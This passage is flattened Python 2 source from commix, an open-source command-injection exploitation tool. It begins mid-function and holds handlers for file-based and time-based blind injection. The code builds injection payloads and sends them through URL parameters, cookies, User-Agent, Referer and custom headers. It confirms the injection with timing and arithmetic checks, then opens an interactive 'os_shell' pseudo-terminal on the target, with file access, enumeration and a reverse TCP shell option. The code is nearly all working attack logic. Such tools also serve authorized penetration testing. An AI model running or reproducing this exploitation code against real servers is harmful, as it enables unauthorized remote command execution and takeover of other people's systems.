whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except SystemExit: if 'vuln_parameter' in locals(): # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except urllib2.URLError, e: warn_msg = "It seems that you don't have permissions to " warn_msg += "read and/or write files in '" + settings.SRV_ROOT_DIR + "'." sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) print "" # Provide custom server's root directory. custom_srv_root_dir() continue except: raise # Yaw, got shellz! # Do some magic tricks! if shell: found = True no_result = False if not settings.VERBOSITY_LEVEL >= 1 and \ not menu.options.alter_shell and \ not next_attack_vector: next_attack_vector = True if settings.COOKIE_INJECTION == True: header_name = " cookie" found_vuln_parameter = vuln_parameter the_type = " parameter" elif settings.USER_AGENT_INJECTION == True: header_name = " User-Agent" found_vuln_parameter = "" the_type = " HTTP header" elif settings.REFERER_INJECTION == True: header_name = " Referer" found_vuln_parameter = "" the_type = " HTTP header" elif settings.CUSTOM_HEADER_INJECTION == True: header_name = " " + settings.CUSTOM_HEADER_NAME found_vuln_parameter = "" the_type = " HTTP header" else: header_name = "" the_type = " parameter" if http_request_method == "GET": found_vuln_parameter = parameters.vuln_GET_param(url) else : found_vuln_parameter = vuln_parameter if len(found_vuln_parameter) != 0 : found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique) if vp_flag == True: vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) logs.update_payload(filename, counter, payload) counter = counter + 1 if not settings.VERBOSITY_LEVEL >= 1 and not settings.LOAD_SESSION: print "" # Print the findings to terminal. success_msg = "The" if found_vuln_parameter == " ": success_msg += http_request_method + "" success_msg += the_type + header_name success_msg += found_vuln_parameter + " seems injectable via " success_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "." print settings.print_success_msg(success_msg) print settings.SUB_CONTENT_SIGN + "Payload: " + re.sub("%20", " ", payload.replace("\n", "\\n")) + Style.RESET_ALL # Export session if not settings.LOAD_SESSION: session_handler.injection_point_importation(url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, delay=0, how_long=0, output_length=0, is_vulnerable="True") else: whitespace = settings.WHITESPACE[0] settings.LOAD_SESSION = False # Check for any enumeration options. if settings.ENUMERATION_DONE == True : while True: question_msg = "Do you want to enumerate again? [Y/n/q] > " enumerate_again = raw_input("\n" + settings.print_question_msg(question_msg)).lower() if enumerate_again in settings.CHOICE_YES: fb_enumeration.do_check(separator, payload, TAG, delay, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) print "" break elif enumerate_again in settings.CHOICE_NO: break elif file_access_again in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) sys.exit(0) else: if enumerate_again == "": enumerate_again = "enter" err_msg = "'" + enumerate_again + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: if menu.enumeration_options(): fb_enumeration.do_check(separator, payload, TAG, delay, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) if not menu.file_access_options() and not menu.options.os_cmd: if not settings.VERBOSITY_LEVEL >= 1: print "" # Check for any system file access options. if settings.FILE_ACCESS_DONE == True : if settings.ENUMERATION_DONE != True: print "" while True: question_msg = "Do you want to access files again? [Y/n/q] > " sys.stdout.write(settings.print_question_msg(question_msg)) file_access_again = sys.stdin.readline().replace("\n","").lower() if file_access_again in settings.CHOICE_YES: fb_file_access.do_check(separator, payload, TAG, delay, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) print "" break elif file_access_again in settings.CHOICE_NO: break elif file_access_again in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) sys.exit(0) else: if file_access_again == "": file_access_again = "enter" err_msg = "'" + enumerate_again + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: if menu.file_access_options(): if not menu.enumeration_options(): print "" fb_file_access.do_check(separator, payload, TAG, delay, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) #print "" # Check if defined single cmd. if menu.options.os_cmd: # if not menu.file_access_options(): # print "" fb_enumeration.single_os_cmd_exec(separator, payload, TAG, delay, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) sys.exit(0) try: # Pseudo-Terminal shell go_back = False go_back_again = False while True: # Delete previous shell (text) files (output) if settings.VERBOSITY_LEVEL >= 1: print "" delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) if settings.VERBOSITY_LEVEL >= 1: print "\n" if go_back == True: break question_msg = "Do you want a Pseudo-Terminal? [Y/n/q] > " sys.stdout.write(settings.print_question_msg(question_msg)) gotshell = sys.stdin.readline().replace("\n","").lower() if gotshell in settings.CHOICE_YES: print "" print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)" if readline_error: checks.no_readline_module() while True: # Tab compliter if not readline_error: readline.set_completer(menu.tab_completer) # MacOSX tab compliter if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''): readline.parse_and_bind("bind ^I rl_complete") # Unix tab compliter else: readline.parse_and_bind("tab: complete") cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) cmd = checks.escaped_cmd(cmd) # if settings.VERBOSITY_LEVEL >= 1: # print "" if cmd.lower() in settings.SHELL_OPTIONS: os_shell_option = checks.check_os_shell_options(cmd.lower(), technique, go_back, no_result) if os_shell_option == False: return False elif os_shell_option == "quit": # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) sys.exit(0) elif os_shell_option == "back": go_back = True break elif os_shell_option == "os_shell": warn_msg = "You are already into an 'os_shell' mode." print settings.print_warning_msg(warn_msg)+ "\n" elif os_shell_option == "reverse_tcp": settings.REVERSE_TCP = True # Set up LHOST / LPORT for The reverse TCP connection. reverse_tcp.configure_reverse_tcp() if settings.REVERSE_TCP == False: continue while True: if settings.LHOST and settings.LPORT in settings.SHELL_OPTIONS: result = checks.check_reverse_tcp_options(settings.LHOST) else: cmd = reverse_tcp.reverse_tcp_options() result = checks.check_reverse_tcp_options(cmd) if result != None: if result == 0: return False elif result == 1 or result == 2: go_back_again = True settings.REVERSE_TCP = False break # Command execution results. response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) # Command execution results. shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay) if settings.VERBOSITY_LEVEL >= 1: print "" err_msg = "The reverse TCP connection has been failed!" print settings.print_critical_msg(err_msg) else: pass else: response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) if menu.options.ignore_session or \ session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # Command execution results. shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay) shell = "".join(str(p) for p in shell) if not menu.options.ignore_session : session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if shell: if shell != "": if settings.VERBOSITY_LEVEL >= 1: print "" print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n" if not shell or shell == "": if settings.VERBOSITY_LEVEL >= 1: print "" err_msg = "The '" + cmd + "' command, does not return any output." print settings.print_critical_msg(err_msg) + "\n" elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector(technique, go_back) == True: break else: if no_result == True: return False else: return True elif gotshell in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) sys.exit(0) else: if gotshell == "": gotshell = "enter" err_msg = "'" + gotshell + "' is not a valid answer." print settings.print_error_msg(err_msg) pass except KeyboardInterrupt: if settings.VERBOSITY_LEVEL >= 1: print "" # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise
def tb_injection_handler(url, delay, filename, http_request_method, url_time_response): counter = 1 num_of_chars = 1 vp_flag = True no_result = True is_encoded = False possibly_vulnerable = False false_positive_warning = False export_injection_info = False how_long = 0 how_long_statistic = [] injection_type = "blind command injection" technique = "time-based injection technique" if settings.VERBOSITY_LEVEL >= 1: info_msg = "Testing the " + technique + "... " print settings.print_info_msg(info_msg) # Check if defined "--maxlen" option. if menu.options.maxlen: maxlen = settings.MAXLEN # Check if defined "--url-reload" option. if menu.options.url_reload == True: warn_msg = "The '--url-reload' option is not available in " + technique + "." print settings.print_warning_msg(warn_msg) whitespace = checks.check_whitespaces() # Calculate all possible combinations total = (len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES) - len(settings.JUNK_COMBINATION)) for prefix in settings.PREFIXES: for suffix in settings.SUFFIXES: for separator in settings.SEPARATORS: # If a previous session is available. if settings.LOAD_SESSION and session_handler.notification( url, technique): cmd = shell = "" url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation( url, http_request_method) checks.check_for_stored_tamper(payload) settings.FOUND_HOW_LONG = how_long settings.FOUND_DIFF = how_long - delay if settings.RETEST == True: settings.RETEST = False from src.core.injections.results_based.techniques.classic import cb_handler cb_handler.exploitation(url, delay, filename, http_request_method) if not settings.LOAD_SESSION: num_of_chars = num_of_chars + 1 # Check for bad combination of prefix and separator combination = prefix + separator if combination in settings.JUNK_COMBINATION: prefix = "" # Define alter shell alter_shell = menu.options.alter_shell # Change TAG on every request to prevent false-positive results. TAG = ''.join( random.choice(string.ascii_uppercase) for num_of_chars in range(6)) tag_length = len(TAG) + 4 for output_length in range(1, int(tag_length)): try: if alter_shell: # Time-based decision payload (check if host is vulnerable). payload = tb_payloads.decision_alter_shell( separator, TAG, output_length, delay, http_request_method) else: # Time-based decision payload (check if host is vulnerable). payload = tb_payloads.decision( separator, TAG, output_length, delay, http_request_method) # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Whitespace fixation payload = re.sub(" ", whitespace, payload) if settings.TAMPER_SCRIPTS['base64encode']: from src.core.tamper import base64encode payload = base64encode.encode(payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL >= 1: payload_msg = payload.replace("\n", "\\n") print settings.print_payload(payload_msg) # Cookie Injection if settings.COOKIE_INJECTION == True: # Check if target host is vulnerable to cookie injection. vuln_parameter = parameters.specify_cookie_parameter( menu.options.cookie) how_long = tb_injector.cookie_injection_test( url, vuln_parameter, payload) # User-Agent Injection elif settings.USER_AGENT_INJECTION == True: # Check if target host is vulnerable to user-agent injection. vuln_parameter = parameters.specify_user_agent_parameter( menu.options.agent) how_long = tb_injector.user_agent_injection_test( url, vuln_parameter, payload) # Referer Injection elif settings.REFERER_INJECTION == True: # Check if target host is vulnerable to referer injection. vuln_parameter = parameters.specify_referer_parameter( menu.options.referer) how_long = tb_injector.referer_injection_test( url, vuln_parameter, payload) # Custom HTTP header Injection elif settings.CUSTOM_HEADER_INJECTION == True: # Check if target host is vulnerable to custom http header injection. vuln_parameter = parameters.specify_custom_header_parameter( settings.INJECT_TAG) how_long = tb_injector.custom_header_injection_test( url, vuln_parameter, payload) else: # Check if target host is vulnerable. how_long, vuln_parameter = tb_injector.injection_test( payload, http_request_method, url) # Statistical analysis in time responses. how_long_statistic.append(how_long) # Injection percentage calculation percent = ((num_of_chars * 100) / total) float_percent = "{0:.1f}".format( round(((num_of_chars * 100) / (total * 1.0)), 2)) if percent == 100 and no_result == True: if not settings.VERBOSITY_LEVEL >= 1: percent = Fore.RED + "FAILED" + Style.RESET_ALL else: percent = "" else: if (url_time_response == 0 and (how_long - delay) >= 0) or \ (url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \ (url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) : # Time relative false positive fixation. false_positive_fixation = False if len(TAG) == output_length: # Simple statical analysis statistical_anomaly = True if len(set( how_long_statistic[0:5])) == 1: if max(xrange( len(how_long_statistic)), key=lambda x: how_long_statistic[ x]) == len(TAG) - 1: statistical_anomaly = False how_long_statistic = [] if delay <= how_long and not statistical_anomaly: false_positive_fixation = True else: false_positive_warning = True # Identified false positive warning message. if false_positive_warning: warn_msg = "Unexpected time delays have been identified due to unstable " warn_msg += "requests. This behavior may lead to false-positive results.\n" sys.stdout.write( "\r" + settings.print_warning_msg( warn_msg)) while True: question_msg = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > " sys.stdout.write( settings.print_question_msg( question_msg)) proceed_option = sys.stdin.readline( ).replace("\n", "").lower() if proceed_option.lower( ) in settings.CHOICE_PROCEED: if proceed_option.lower( ) == "s": false_positive_fixation = False raise elif proceed_option.lower( ) == "c": delay = delay + 1 false_positive_fixation = True break elif proceed_option.lower( ) == "q": raise SystemExit() else: if proceed_option == "": proceed_option = "enter" err_msg = "'" + proceed_option + "' is not a valid answer." print settings.print_error_msg( err_msg) pass # Check if false positive fixation is True. if false_positive_fixation: false_positive_fixation = False settings.FOUND_HOW_LONG = how_long settings.FOUND_DIFF = how_long - delay if false_positive_warning: time.sleep(1) randv1 = random.randrange(0, 1) randv2 = random.randrange(1, 2) randvcalc = randv1 + randv2 if settings.TARGET_OS == "win": if alter_shell: cmd = settings.WIN_PYTHON_DIR + "python.exe -c \"print (" + str( randv1) + " + " + str( randv2) + ")\"" else: cmd = "powershell.exe -InputFormat none write (" + str( randv1) + " + " + str( randv2) + ")" else: cmd = "expr " + str( randv1) + " + " + str( randv2) + "" # Check for false positive resutls how_long, output = tb_injector.false_positive_check( separator, TAG, cmd, whitespace, prefix, suffix, delay, http_request_method, url, vuln_parameter, randvcalc, alter_shell, how_long, url_time_response) if (url_time_response == 0 and (how_long - delay) >= 0) or \ (url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \ (url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) : if str(output) == str( randvcalc) and len( TAG) == output_length: possibly_vulnerable = True how_long_statistic = 0 if not settings.VERBOSITY_LEVEL >= 1: percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL else: percent = "" else: break # False positive else: if not settings.VERBOSITY_LEVEL >= 1: percent = str(float_percent) + "%" info_msg = "Testing the " + technique + "... " + "[ " + percent + " ]" sys.stdout.write( "\r" + settings.print_info_msg( info_msg)) sys.stdout.flush() continue else: if not settings.VERBOSITY_LEVEL >= 1: percent = str(float_percent) + "%" info_msg = "Testing the " + technique + "... " + "[ " + percent + " ]" sys.stdout.write( "\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() continue if not settings.VERBOSITY_LEVEL >= 1: info_msg = "Testing the " + technique + "... " + "[ " + percent + " ]" sys.stdout.write( "\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() except KeyboardInterrupt: raise except SystemExit: raise except: break break # Yaw, got shellz! # Do some magic tricks! if (url_time_response == 0 and (how_long - delay) >= 0) or \ (url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \ (url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) : if (len(TAG) == output_length) and \ (possibly_vulnerable == True or settings.LOAD_SESSION and int(is_vulnerable) == menu.options.level): found = True no_result = False if settings.LOAD_SESSION: possibly_vulnerable = False if settings.COOKIE_INJECTION == True: header_name = " cookie" found_vuln_parameter = vuln_parameter the_type = " parameter" elif settings.USER_AGENT_INJECTION == True: header_name = " User-Agent" found_vuln_parameter = "" the_type = " HTTP header" elif settings.REFERER_INJECTION == True: header_name = " Referer" found_vuln_parameter = "" the_type = " HTTP header" elif settings.CUSTOM_HEADER_INJECTION == True: header_name = " " + settings.CUSTOM_HEADER_NAME found_vuln_parameter = "" the_type = " HTTP header" else: header_name = "" the_type = " parameter" if http_request_method == "GET": found_vuln_parameter = parameters.vuln_GET_param( url) else: found_vuln_parameter = vuln_parameter if len(found_vuln_parameter) != 0: found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique( export_injection_info, filename, injection_type, technique) if vp_flag == True: vp_flag = logs.add_parameter( vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) logs.update_payload(filename, counter, payload) counter = counter + 1 if not settings.LOAD_SESSION: print "" # Print the findings to terminal. success_msg = "The" if found_vuln_parameter == " ": success_msg += http_request_method + "" success_msg += the_type + header_name success_msg += found_vuln_parameter + " seems injectable via " success_msg += "(" + injection_type.split( " ")[0] + ") " + technique + "." print settings.print_success_msg(success_msg) print settings.SUB_CONTENT_SIGN + "Payload: " + payload.replace( "\n", "\\n") + Style.RESET_ALL # Export session if not settings.LOAD_SESSION: shell = "" session_handler.injection_point_importation( url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable=menu.options.level) #possibly_vulnerable = False else: settings.LOAD_SESSION = False new_line = False # Check for any enumeration options. if settings.ENUMERATION_DONE == True: while True: question_msg = "Do you want to enumerate again? [Y/n/q] > " enumerate_again = raw_input( "\n" + settings.print_question_msg(question_msg) ).lower() if enumerate_again in settings.CHOICE_YES: tb_enumeration.do_check( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) print "" break elif enumerate_again in settings.CHOICE_NO: new_line = True break elif enumerate_again in settings.CHOICE_QUIT: sys.exit(0) else: if enumerate_again == "": enumerate_again = "enter" err_msg = "'" + enumerate_again + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: if menu.enumeration_options(): tb_enumeration.do_check( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) print "" # Check for any system file access options. if settings.FILE_ACCESS_DONE == True: print "" while True: question_msg = "Do you want to access files again? [Y/n/q] > " sys.stdout.write( settings.print_question_msg(question_msg)) file_access_again = sys.stdin.readline( ).replace("\n", "").lower() if file_access_again in settings.CHOICE_YES: tb_file_access.do_check( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) break elif file_access_again in settings.CHOICE_NO: if not new_line: new_line = True break elif file_access_again in settings.CHOICE_QUIT: sys.exit(0) else: if file_access_again == "": file_access_again = "enter" err_msg = "'" + file_access_again + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: # if not menu.enumeration_options() and not menu.options.os_cmd: # print "" tb_file_access.do_check( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) # Check if defined single cmd. if menu.options.os_cmd: cmd = menu.options.os_cmd check_how_long, output = tb_enumeration.single_os_cmd_exec( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) # Export injection result tb_injector.export_injection_results( cmd, separator, output, check_how_long) sys.exit(0) if not new_line: print "" # Pseudo-Terminal shell go_back = False go_back_again = False while True: if go_back == True: break question_msg = "Do you want a Pseudo-Terminal? [Y/n/q] > " sys.stdout.write( settings.print_question_msg(question_msg)) gotshell = sys.stdin.readline().replace( "\n", "").lower() if gotshell in settings.CHOICE_YES: print "" print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)" if readline_error: checks.no_readline_module() while True: if false_positive_warning: warn_msg = "Due to unexpected time delays, it is highly " warn_msg += "recommended to enable the 'reverse_tcp' option.\n" sys.stdout.write( "\r" + settings.print_warning_msg( warn_msg)) false_positive_warning = False try: # Tab compliter if not readline_error: readline.set_completer( menu.tab_completer) # MacOSX tab compliter if getattr( readline, '__doc__', '' ) is not None and 'libedit' in getattr( readline, '__doc__', ''): readline.parse_and_bind( "bind ^I rl_complete") # Unix tab compliter else: readline.parse_and_bind( "tab: complete") cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) cmd = checks.escaped_cmd(cmd) if cmd.lower( ) in settings.SHELL_OPTIONS: go_back, go_back_again = shell_options.check_option( separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, delay, go_back_again) if go_back: break else: print "" if menu.options.ignore_session or \ session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # The main command injection exploitation. check_how_long, output = tb_injector.injection( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) # Export injection result tb_injector.export_injection_results( cmd, separator, output, check_how_long) if not menu.options.ignore_session: session_handler.store_cmd( url, cmd, output, vuln_parameter) else: output = session_handler.export_stored_cmd( url, cmd, vuln_parameter) print Fore.GREEN + Style.BRIGHT + output + Style.RESET_ALL print "" except KeyboardInterrupt: raise except SystemExit: raise elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector( technique, go_back) == True: break else: if no_result == True: return False else: return True elif gotshell in settings.CHOICE_QUIT: sys.exit(0) else: if gotshell == "": gotshell = "enter" err_msg = "'" + gotshell + "' is not a valid answer." print settings.print_error_msg(err_msg) pass #break if no_result == True: print "" return False else: sys.stdout.write("\r") sys.stdout.flush()